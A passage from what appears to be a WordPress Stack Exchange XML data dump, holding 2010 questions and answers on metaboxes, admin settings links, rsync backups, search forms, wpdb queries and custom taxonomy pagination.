  <row Id="1612" PostTypeId="2" ParentId="1611" CreationDate="2010-09-10T09:22:47.563" Score="4" ViewCount="" Body="&lt;p&gt;Hi *&lt;em&gt;@Bobby Jack&lt;/em&gt;:*&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You'll have absolutely zero problem&lt;/strong&gt; given your number of pages and posts.  If you were looking at 5000, 10k, 25k pages or more, then start to worry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the real problem is with categories as the URL base in the current implementation of WordPress' URL routing (which I hope to see changed in v3.2 or v3.3):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ottopress.com/2010/category-in-permalinks-considered-harmful/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Category in Permalinks Considered Harmful&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In Summary, nothing to worry about.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-09-10T09:22:47.563" CommentCount="1" />
  <row Id="1613" PostTypeId="2" ParentId="1605" CreationDate="2010-09-10T09:25:08.013" Score="2" ViewCount="" Body="&lt;p&gt;I believe your looking for a simple way of creating/duplicating metaboxes and not duplicating the content added to those fields for a post. If I am correct in this assumption I have something absolutely fantastic to share with you... Its not a plugin but rather a class created by Dimas a true Wordpress Wizard. He has created a metabox class called &quot;WPAlchemy_MetaBox&quot; which essentially lets you do nearly anything you can think of without utilizing a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The downside is that if your coming from Magic Fields (which I am very familiar with) and you don't hack your own functions.php file then it will take a little while to get use to it. Once you get the hang of it though your going to be shocked at all the possibilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below I are some of the core features/functions of the class. Recently he has been adding a bunch of excellent enhancements which I love and will soon have a screencast online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The WPAlchemy_MetaBox PHP class can be used to create WordPress meta boxes quickly. It will give you the flexibility you need as a developer, allowing you to quickly build custom meta boxes for your themes and plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Key Features and Benefits&#xA;Key Features and Benefits&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Easy to learn and integrate:&lt;/strong&gt; good documentation and support is always important (I use the code myself and keep it up-to-date). Integration is a snap, as simple as including the class and using it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Easy setup code:&lt;/strong&gt; some of the details involved in saving, retrieving and working with the meta data are abstracted to ease development.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Flexible usage:&lt;/strong&gt; the class acts as an aid for meta box development. By design you can use the class functions or your current development practices, which ever you feel most comfortable with for your development.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;HTML and CSS separation:&lt;/strong&gt; the HTML and CSS for your meta boxes remain separate from the core code, you can design your meta boxes to your liking, providing you the greatest flexibility during development.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I HIGHLY recommend that everyone at least review this class and the features, your sure to love it.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Website:&lt;/strong&gt; &lt;a href=&quot;http://farinspace.com/wpalchemy-metabox/&quot; rel=&quot;nofollow&quot;&gt;http://farinspace.com/wpalchemy-metabox/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;GitHub Code:&lt;/strong&gt; &lt;a href=&quot;http://github.com/farinspace/wpalchemy&quot; rel=&quot;nofollow&quot;&gt;http://github.com/farinspace/wpalchemy&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-09-10T09:25:08.013" />
  <row Id="1614" PostTypeId="2" ParentId="1567" CreationDate="2010-09-10T09:28:54.750" Score="30" ViewCount="" Body="&lt;h2&gt;Enable Hidden Admin Feature displaying ALL Site Settings&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.1 RC3&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This little piece of code does something pretty cool. It will add an additional option to your settings menu with a link to &quot;all settings&quot; which will show you a complete list of all the settings you have within your database related to your wordpress site. The code below will only made this link visible to an admin user and hide it for all other users.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// CUSTOM ADMIN MENU LINK FOR ALL SETTINGS&#xA;   function all_settings_link() {&#xA;    add_options_page(__('All Settings'), __('All Settings'), 'administrator', 'options.php');&#xA;   }&#xA;   add_action('admin_menu', 'all_settings_link');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-01-26T15:06:18.517" LastActivityDate="2011-01-26T15:06:18.517" CommunityOwnedDate="2010-09-10T09:28:54.750" CommentCount="2" />
  <row Id="1615" PostTypeId="2" ParentId="1607" CreationDate="2010-09-10T10:08:31.310" Score="3" ViewCount="" Body="&lt;p&gt;I recommend rsync. It only transfers what has changed since your last rsync so subsequent updates are very fast, and it works over SSH. Sample usage in crontab:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# backup rsync from example.com every morning&#xA;14 3 * * * rsync -az example.com:/var/www/example.com/htdocs/ ~/Backup/example.com/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;-a&lt;/code&gt; flag preserves many aspects of the original file (ie. symlink vs file) and &lt;code&gt;-z&lt;/code&gt; compresses the transfer. There are some potentially confusing rules about trailing slashes on directory names, but the above example would put everything inside &lt;code&gt;htdocs/&lt;/code&gt; on the server into &lt;code&gt;example.com/&lt;/code&gt; on the local machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your local machine is a Windows box, you can install rsync via &lt;a href=&quot;http://www.cygwin.com/&quot; rel=&quot;nofollow&quot;&gt;Cygwin&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-09-10T10:08:31.310" />
  <row Id="1616" PostTypeId="1" AcceptedAnswerId="1617" CreationDate="2010-09-10T10:27:40.283" Score="0" ViewCount="97" Body="&lt;p&gt;I've got a CMS style setup. The blog part is not on the home page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to add certain things to the side-bar according to which template the page is using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That all works fine, except for the blog page, which does not even reveal its template name.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo get_post_meta($post-&amp;gt;ID,'_wp_page_template',true);  // produces nothing for blog template blog-page.php, but does show standard-page.php&#xA;&#xA;if ( is_page_template('blog-page.php')) { &#xA;// show blog sidebar stuff.... never gets called&#xA;}&#xA;if ( is_page_template('standard-page.php')) { &#xA;// show blog sidebar stuff.. this works&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What else can I use to check if the page is a blog page rather than then template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doesn't seem to be actually using blog-page.php, but index.php instead... what if statement can i use to check if its a blog-style page?&lt;/p&gt;&#xA;" OwnerUserId="394" LastEditorUserId="394" LastEditorDisplayName="" LastEditDate="2010-09-10T10:39:27.013" LastActivityDate="2010-09-10T10:55:32.887" Title="Why does blog page not reveal it's template?" Tags="&lt;cms&gt;&lt;template&gt;" AnswerCount="1" />
  <row Id="1617" PostTypeId="2" ParentId="1616" CreationDate="2010-09-10T10:55:32.887" Score="2" ViewCount="" Body="&lt;p&gt;You probably want one of the &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags&quot; rel=&quot;nofollow&quot;&gt;conditional tags&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possibly &lt;code&gt;is_single()&lt;/code&gt;, or maybe &lt;code&gt;get_post_type() == 'post'&lt;/code&gt; depending on how complex your setup is.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-09-10T10:55:32.887" CommentCount="1" />
  <row Id="1618" PostTypeId="2" ParentId="1604" CreationDate="2010-09-10T12:48:08.727" Score="13" ViewCount="" Body="&lt;p&gt;Yes it's possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wpdb object can be used to access any database and query any table. Absolutely no need to be Wordpress related, which is very interesting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The benefit is the ability to use all the wpdb classes and functions like &lt;code&gt;get_results&lt;/code&gt;, etc so that there's no need to re-invent the wheel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mydb = new wpdb('username','password','database','localhost');&#xA;$rows = $mydb-&amp;gt;get_results(&quot;select Name from my_table&quot;);&#xA;echo &quot;&amp;lt;ul&amp;gt;&quot;;&#xA;foreach ($rows as $obj) :&#xA;   echo &quot;&amp;lt;li&amp;gt;&quot;.$obj-&amp;gt;Name.&quot;&amp;lt;/li&amp;gt;&quot;;&#xA;endforeach;&#xA;echo &quot;&amp;lt;/ul&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="442" LastEditorUserId="442" LastEditorDisplayName="" LastEditDate="2010-09-10T13:00:53.207" LastActivityDate="2010-09-10T13:00:53.207" CommentCount="2" />
  <row Id="1619" PostTypeId="1" CreationDate="2010-09-10T13:06:19.113" Score="3" ViewCount="275" Body="&lt;p&gt;I am adding additional pages to wordpress backend and I would like to use the built-in image uploader and browser. I couldn't find any examples on how to add it to my form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that I have a text input or something similiar - what do I have to do to allow users pick a previously uploaded image so that the image link would show up in the textfield?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created an iframe that's loading media-uploader.php but now I have no idea how to get the picked image to go to my textfield.&lt;/p&gt;&#xA;" OwnerUserId="255" LastEditorUserId="255" LastEditorDisplayName="" LastEditDate="2010-09-13T09:11:56.123" LastActivityDate="2010-10-07T16:08:04.073" Title="Using Image insert control in code" Tags="&lt;wp-admin&gt;&lt;images&gt;&lt;uploads&gt;" AnswerCount="3" FavoriteCount="3" />
  <row Id="1620" PostTypeId="1" AcceptedAnswerId="1642" CreationDate="2010-09-10T13:43:13.743" Score="1" ViewCount="117" Body="&lt;p&gt;On my CMS-style setup, I have the standard search box which searches everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, on my blog page, I would like to also have another search box which searches just the blog... is this possible, and how would I go about it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used this code within a text widget which goes on my blog page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form  id='searchform' method='get'&amp;gt;&#xA;&amp;lt;input style='margin-top:5px;' type='text' name='s' id='s' placeholder='Search (blog only)'&amp;gt;&#xA;&amp;lt;input type='hidden' name='post_type' value='post' /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This has the advantage that the results page is styled like the blog, and not the standard search page. (though I don't know how to indicate that the page is showing search results.. how to show this?)&lt;/p&gt;&#xA;" OwnerUserId="394" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-11T23:04:07.857" LastActivityDate="2010-09-11T23:04:07.857" Title="Searching Only Blog Posts From a WordPress Site's Main Posts Page?" Tags="&lt;cms&gt;&lt;search&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="1621" PostTypeId="2" ParentId="1482" CreationDate="2010-09-10T14:56:23.820" Score="1" ViewCount="" Body="&lt;p&gt;I solved my problem with a pretty rough, but workable solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) I installed the WP Hide Dashboard plugin, so the User would only see a link to their profile edit form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) In author.php template file, I inserted the code I used above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Then, for logged in users, I displayed a direct link to the Upload page &quot;wp-admin/media-new.php&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) The next issue I noticed, was after they uploaded the photo, it would redirect them to upload.php... and they could see all the other pictures.  I haven't found a hook into the media-new.php page, so I ended up hacking into the core &quot;media-upload.php&quot; and redirecting them to their profile page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    global $current_user;&#xA;    get_currentuserinfo();&#xA;    $userredirect =  get_bloginfo('home') . &quot;/author/&quot; .$current_user-&amp;gt;user_nicename;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then replaced &lt;code&gt;wp_redirect( admin_url($location) );&lt;/code&gt; with &lt;code&gt;wp_redirect($userredirect);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple of issues, though.  First, the logged in user can still go to &quot;upload.php&quot;, if they know it exists.  They can't do anything except LOOK at the files, and 99% of people won't even know about it,  but it's still not optimal. Second, it also redirect the Admin to the profile page after uploading.  These can have a  fairly simple fix by checking user roles, and only redirecting Subscribers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has ideas about hooking into the Media page without going into the core files, I'd appreciate it. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="607" LastActivityDate="2010-09-10T14:56:23.820" CommentCount="1" />
  <row Id="1622" PostTypeId="2" ParentId="1619" CreationDate="2010-09-10T14:58:07.713" Score="0" ViewCount="" Body="&lt;p&gt;I am a little confused. Do you mean that you want the end user to be able to use the image picker from the back end, and have access to all the pictures from other sections?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, I'm pretty sure it already does that, by default.&lt;/p&gt;&#xA;" OwnerUserId="784" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2010-09-10T15:40:27.340" LastActivityDate="2010-09-10T15:40:27.340" CommentCount="1" />
  <row Id="1623" PostTypeId="2" ParentId="1620" CreationDate="2010-09-10T15:23:00.440" Score="2" ViewCount="" Body="&lt;p&gt;If the Blog is in its own category, you could copy the searchform.php code, and then add this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;cat&quot; value=&quot;{your category id}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;of course, replacing {your category id} with the actual ID number. You could either put the entire form code into a widget, or directly into your template.&lt;/p&gt;&#xA;" OwnerUserId="607" LastActivityDate="2010-09-10T15:23:00.440" />
  <row Id="1624" PostTypeId="1" AcceptedAnswerId="1627" CreationDate="2010-09-10T15:30:17.433" Score="1" ViewCount="131" Body="&lt;p&gt;I'm just getting my feet wet with templates and have a few questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, Ideally, my templates use the same structure as my main theme, however, they simply use a different stylesheet and images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, the way I allow changing the look of the site is with stylesheet switching. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I simply have a folder under my main theme called &quot;styles&quot;, then under that I have a single folder for each of my &quot;skins&quot;. Inside each skin folder is a style.css along with some images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way it works is that I've placed some code in my main theme's header.php file, so that it reads the value of the currently active skin from the options database, then loads the stylesheet for that skin like so...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the above example, the active skin is &quot;skin1&quot; so I'm always loading...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;...mytheme/styles/&quot;. get_option('active_skin') .&quot;style.css&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works exceedingly well, and allows me to place a simple skin switcher widget (a pulldown menu with thumbnail display) inside my function.php file to allow the admin user to easily switch between several skins that completely change the look and feel of the site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The beauty of this approach is that the selected theme and underlying markup remains unchanged, so I'm able to create a variety of styles using predictable markup. Sort of like CSS zen garden. Same markup, thousands of designs. All that changes is the stylesheet and images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the one downside to this approach (at least with WordPress) is that the selected skin applied to the whole site. I'm unable to apply one skin to the home page and one skin to a special page that might need a completely different look and feel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there was a way to add some code to each skin folder so that it would appear in the &quot;templates&quot; drop down menu in the page editor, I'd be able to do exactly what I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2010-09-10T15:36:36.160" LastActivityDate="2010-09-10T17:06:07.993" Title="How do you apply multiple skins to a site via the &quot;templates&quot; selector using stylesheet switching?" Tags="&lt;theme-development&gt;" AnswerCount="2" />
  <row Id="1625" PostTypeId="2" ParentId="1504" CreationDate="2010-09-10T15:59:58.743" Score="2" ViewCount="" Body="&lt;p&gt;Checkout scribu's &lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;post2post plugin&lt;/a&gt;, it should fill your needs.&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2010-09-10T15:59:58.743" CommentCount="1" />
  <row Id="1626" PostTypeId="2" ParentId="1604" CreationDate="2010-09-10T16:38:36.270" Score="1" ViewCount="" Body="&lt;p&gt;I can't comment yet, but I wanted to expand on Wadih M.'s answer (which is great).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WP's database class is a customized version of Justin Vincent's ezSQL.  If you like the interface and you're wanting to do a site that's not WordPress-based, you might want to check it out: &lt;a href=&quot;http://www.woyano.com/jv/ezsql&quot; rel=&quot;nofollow&quot;&gt;http://www.woyano.com/jv/ezsql&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="839" LastActivityDate="2010-09-10T16:38:36.270" CommentCount="1" />
  <row Id="1627" PostTypeId="2" ParentId="1624" CreationDate="2010-09-10T16:56:35.283" Score="1" ViewCount="" Body="&lt;p&gt;Sure it's possible.  The quick way would be to add a custom field to the postmeta (in the &quot;Custom Fields&quot; area of the Edit Post/Edit Page page) and in your theme get the value using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;get_post_meta()&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The slightly-less-quick way would be to add a wrapper to this Custom Field value by putting your theme selector in a &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;post meta box&lt;/a&gt;.  &lt;/p&gt;&#xA;" OwnerUserId="839" LastActivityDate="2010-09-10T16:56:35.283" />
  <row Id="1628" PostTypeId="2" ParentId="1624" CreationDate="2010-09-10T17:06:07.993" Score="1" ViewCount="" Body="&lt;p&gt;I was just looking at the page template autodiscovery for another question, and it turns out WordPress &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.1/wp-admin/includes/theme.php#L178&quot; rel=&quot;nofollow&quot;&gt;explicitly disallows template files in subdirectories&lt;/a&gt;. You'll have to go about it another way, such as using custom fields as gabrielk suggested, or doing providing a UI to the same meta fields using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;custom admin meta boxes&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-09-10T17:06:07.993" CommentCount="1" />
  <row Id="1629" PostTypeId="1" AcceptedAnswerId="1630" CreationDate="2010-09-10T18:11:35.590" Score="3" ViewCount="201" Body="&lt;p&gt;I want to add a field to the general settings page, but I can not save the field because I can't find a hook for the pages save.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-09-10T18:42:59.077" Title="Is there a hook attached to general settings save?" Tags="&lt;plugins&gt;&lt;settings&gt;" AnswerCount="1" />
  <row Id="1630" PostTypeId="2" ParentId="1629" CreationDate="2010-09-10T18:42:59.077" Score="5" ViewCount="" Body="&lt;p&gt;You just need to &lt;code&gt;register_setting()&lt;/code&gt; on your setting and it will be saved automatically. See the &lt;a href=&quot;http://codex.wordpress.org/Settings_API&quot; rel=&quot;nofollow&quot;&gt;Settings API&lt;/a&gt; for more info. Here's a complete example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function spw_cb() {&#xA;    if( !($value = get_option('sprockets_per_widget')) ) {&#xA;        $value = 7;&#xA;    }&#xA;&#xA;    ?&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; size=&quot;3&quot; name=&quot;sprockets_per_widget&quot; value=&quot;&amp;lt;?php echo $value; ?&amp;gt;&quot; /&amp;gt; Numeric only!&#xA;    &amp;lt;?php&#xA;}&#xA;&#xA;function spw_init() {&#xA;    add_settings_field('sprockets_per_widget', 'Sprockets per Widget', 'spw_cb', 'general');&#xA;    register_setting('general', 'sprockets_per_widget', 'intval');&#xA;}&#xA;add_action('admin_init', 'spw_init');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-09-10T18:42:59.077" />
  <row Id="1631" PostTypeId="2" ParentId="1607" CreationDate="2010-09-10T19:27:39.447" Score="1" ViewCount="" Body="&lt;p&gt;(assuming that FTP is slow due to amount of files) I use SSH to remotely give command to compress WP directory in single archive and then fetch that file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Windows this is relatively easily scriptable with WinSCP ( &lt;a href=&quot;http://winscp.net/eng/docs/scripting&quot; rel=&quot;nofollow&quot; title=&quot;scripting documentation&quot;&gt;scripting documentation&lt;/a&gt; ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method greatly speeds up transfer, makes it secure, requires no plugins server-side, timestamps backups and is easy to schedule or launch with single click.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(assuming FTP is slow in general) I would suggest to research backup plugins that can email backups (although size can get restrictive) or upload them to file storage service.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-10T19:27:39.447" />
  <row Id="1632" PostTypeId="2" ParentId="1567" CreationDate="2010-09-10T22:26:37.040" Score="14" ViewCount="" Body="&lt;h2&gt;Add an excerpt box for pages&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code will add the same &quot;excerpt&quot; box which you are familiar with on the &quot;Add/Edit Post&quot; admin area and duplicate that functionality on the &quot;Add/Edit Page&quot; section.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( function_exists('add_post_type_support') ) &#xA;{&#xA;    add_action('init', 'add_page_excerpts');&#xA;    function add_page_excerpts() &#xA;    {        &#xA;        add_post_type_support( 'page', 'excerpt' );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you have the usual excerpt box in the page editor, and you may use &lt;code&gt;the_excerpt()&lt;/code&gt; when listing more than one page.&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:33:38.410" LastActivityDate="2011-01-26T14:33:38.410" CommunityOwnedDate="2010-09-10T22:26:37.040" CommentCount="1" />
  <row Id="1633" PostTypeId="2" ParentId="1552" CreationDate="2010-09-10T22:26:59.033" Score="2" ViewCount="" Body="&lt;p&gt;I have used qTranslate as well with success and seen it implemented in couple of blogs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but the problem with using any of the 2 plugins is that with the wordpress updates, you have to wait for the new releases of plugins versions then update.&#xA;With other plugins, like a contact form, rating system or stuff like this , you can disable them temporary, find another replacement, but for something as important as this, you can not afford to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so it is kinda tricky on the long run to use any of the 2 plugins to manage the main component of your blog aka your content and security concerns could arise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is why i support bueltge's method, try to implement it and good luck with that :)&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-09-10T22:26:59.033" CommentCount="1" />
  <row Id="1634" PostTypeId="1" AcceptedAnswerId="1641" CreationDate="2010-09-11T01:24:10.807" Score="0" ViewCount="117" Body="&lt;p&gt;I'm looking for a method/plugin/hack to auto-insert an outline when I start a new post in Wordpress. I've searched online for ideas as well as the &lt;a href=&quot;http://wordpress.org/extend/plugins/&quot; rel=&quot;nofollow&quot;&gt;WP Plugin repo&lt;/a&gt; with no luck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, many of my posts have a similar structure, and it would be nice not to have to paste it in each time, but to have it embedded in the body of the &quot;Add New Post&quot; page. Of course, it should be editable. &lt;/p&gt;&#xA;" OwnerUserId="849" LastActivityDate="2010-09-11T09:31:01.673" Title="Method/Plugin/Hack to Start a Post with an Writing Outline?" Tags="&lt;plugins&gt;&lt;posts&gt;&lt;writing&gt;&lt;automate&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="1635" PostTypeId="1" AcceptedAnswerId="1640" CreationDate="2010-09-11T01:24:28.060" Score="3" ViewCount="995" Body="&lt;p&gt;I've been trying to set up a way to write posts in a series on my site.  The idea is that each post can belong to a different series in a custom taxonomy.  I've gotten just about everything set up the way I want it ... with one exception.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Registering the Taxonomy&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This part is working.  I've dropped the following code into a plug-in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function jdm_build_series_taxonomy() {&#xA;    $labels = array(&#xA;        'name' =&amp;gt; _x('Series Labels', 'taxonomy general name'),&#xA;        'singular_name' =&amp;gt; _x('Series Label', 'taxonomy singular name'),&#xA;        'search_items' =&amp;gt; __('Search Series Labels'),&#xA;        'popular_items' =&amp;gt; __('Popular Series Labels'),&#xA;        'all_items' =&amp;gt; __('All Series Labels'),&#xA;        'parent_item' =&amp;gt; __('Parent Series Label'),&#xA;        'parent_item_colon' =&amp;gt; __('Parent Series Label:'),&#xA;        'edit_item' =&amp;gt; __('Edit Series Label'),&#xA;        'update_item' =&amp;gt; __('Update Series Label'),&#xA;        'add_new_item' =&amp;gt; __('Add New Series Label'),&#xA;        'new_item_name' =&amp;gt; __('New Series Label Name')&#xA;    );&#xA;&#xA;    register_taxonomy(&#xA;        'series',&#xA;        'post',&#xA;        array(&#xA;            'hierarchical' =&amp;gt; true,&#xA;            'label' =&amp;gt; __('Series'),&#xA;            'labels' =&amp;gt; $labels,&#xA;            'query_var' =&amp;gt; true,&#xA;            'rewrite' =&amp;gt; true&#xA;        )&#xA;    );&#xA;}&#xA;&#xA;add_action( 'init', 'jdm_build_series_taxonomy', 0 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This adds &quot;Series Labels&quot; to the Posts dropdown menu and gives me a &quot;Series Labels&quot; box on the post edit screen.  Everything's working, and I can mark posts as a part of a series perfectly.  The problem lies in the next section ...&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Listing items in the Taxonomy&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;My goal is to allow readers to walk through a series one post at a time, starting with the oldest post and moving forwards chronologically.  This is different than a typical archive page, because I have 10 posts per page for my archives, but I obviously want &lt;em&gt;only one post per page&lt;/em&gt; for my series archive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a &lt;code&gt;taxonomy-series.php&lt;/code&gt; file inside my template.  And it &lt;em&gt;half&lt;/em&gt; works.  The first page will work just fine - &lt;code&gt;http://localhost/wp/series/my-test-series/&lt;/code&gt; displays the first article in the series with the &quot;Next Entry &amp;raquo;&quot; link on the bottom of the page.  So far, so good ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when you click &quot;Next Entry &amp;raquo;&quot; and go to the next page (&lt;code&gt;http://localhost/wp/series/my-test-series/page/2/&lt;/code&gt;) it's a) the wrong article and b) the wrong template!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I set &quot;Blog pages show at most:&quot; to &quot;1&quot; on the Reading page (it's normally set to 10) then things work just fine.  Page 2 displays the second article, page 3 displays the third, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So ... what do I need to double check to force the taxonomy archive page to display only one post on each page?  I've tried the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$new_query = wp_parse_args(&#xA;    $query_string, &#xA;    array(&#xA;        'posts_per_page' =&amp;gt; 1,&#xA;        'paged' =&amp;gt; $paged&#xA;    